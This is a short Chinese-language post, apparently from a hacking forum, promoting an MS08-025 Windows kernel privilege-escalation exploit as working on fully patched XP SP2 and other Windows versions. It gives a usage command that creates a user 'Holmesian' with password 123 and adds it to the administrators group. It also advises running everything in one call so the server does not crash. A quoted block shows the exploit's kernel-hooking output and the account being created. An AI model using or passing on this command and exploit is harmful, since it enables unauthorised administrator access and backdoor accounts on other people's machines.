最新的
同时也是真正可用的MS08025溢出利用程序

经过测试，在目前打了所有补丁Win XP sp2机器上 效果非常好  

估计在Windows 2k,xp,2k3,vista的效果都是不错的

值得注意的是为了防止多次运行时服务器蓝屏，尽量直接用一次运行所有的命令

比如尽量使用：
        MS08025 "cmd.exe /c net user Holmesian 123 /add & net localgroup administrators Holmesian /add"
这样一次性执行完毕的语句



[quote]
        Local Privilege Escalation Vulnerability Exploit(MS08025)

        Modify by [F.S.T] For 姬良

        Run paltform: Windows 2k,xp,2k3,vista

ImageName: \WINDOWS\system32\ntkrnlpa.exe
[*] Get KernelBase Success, ntoskrnl.exe base = 80800000
[*] Mapping ntoskrnl.exe … ok
[*] KeServiceDescriptorTable = 00A746E0
[*] Find KiServiceTable … ok!!!
[*] KiServiceTable == 8082C734
[*] Get ZwVdmControl Number … ok!
[*] ZwVdmControl Call Number: 0000010C
[*] HookAddress: 8082CB64
[*] Create execute environment … Ok!
[*] call shellcode … Done.
[*] Create New Process:cmd.exe /c net user Holmesian 123 /add & net localgroup administrators Holmesian /add

命令成功完成。
[/quote]